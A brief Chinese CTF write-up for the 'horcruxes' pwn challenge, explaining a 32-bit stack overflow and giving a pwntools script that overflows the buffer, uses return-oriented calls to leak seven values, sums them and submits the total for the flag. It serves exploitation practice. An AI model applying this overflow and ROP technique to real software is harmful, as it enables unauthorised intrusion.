- 需要我们计算出正确的sum才能得到flag,存在栈溢出漏洞,本来想直接rop到输出flag但是gets函数遇到\x0a截止所以只能一个一个泄漏abcdefg然后相加最后再发送,这里注意程序是32位的,atoi函数将字符串转换成整数时如果数字超过范围则转换失败,所以多试几次就有flag了
exp:
#apt-get install libseccomp-dev:i386
from pwn import *
context.log_level = 'debug'
#p = process('./horcruxes')
p = remote('0',9032)
sum = 0
def cal(addr):
global sum
p.recvuntil('Menu:')
p.sendline('1')
p.recvuntil('earned? : ')
payload = 'a'*0x74 + 'bbbb' + p32(addr) + p32(0x0809FFFC)
p.sendline(payload)
p.recvuntil('EXP +')
num = int(p.recvuntil(')\n',drop = True))
sum += num
printf_a = 0x0809FE4B
printf_b = 0x0809FE6A
printf_c = 0x0809FE89
printf_d = 0x0809FEA8
printf_e = 0x0809FEC7
printf_f = 0x0809FEE6
printf_g = 0x0809FF05
cal(printf_a)
cal(printf_b)
cal(printf_c)
cal(printf_d)
cal(printf_e)
cal(printf_f)
cal(printf_g)
#gdb.attach(p,'b *0x080A00F8')
p.recvuntil('Menu:')
p.sendline('1')
p.recvuntil('earned? : ')
p.sendline(str(sum))
p.interactive()
网友评论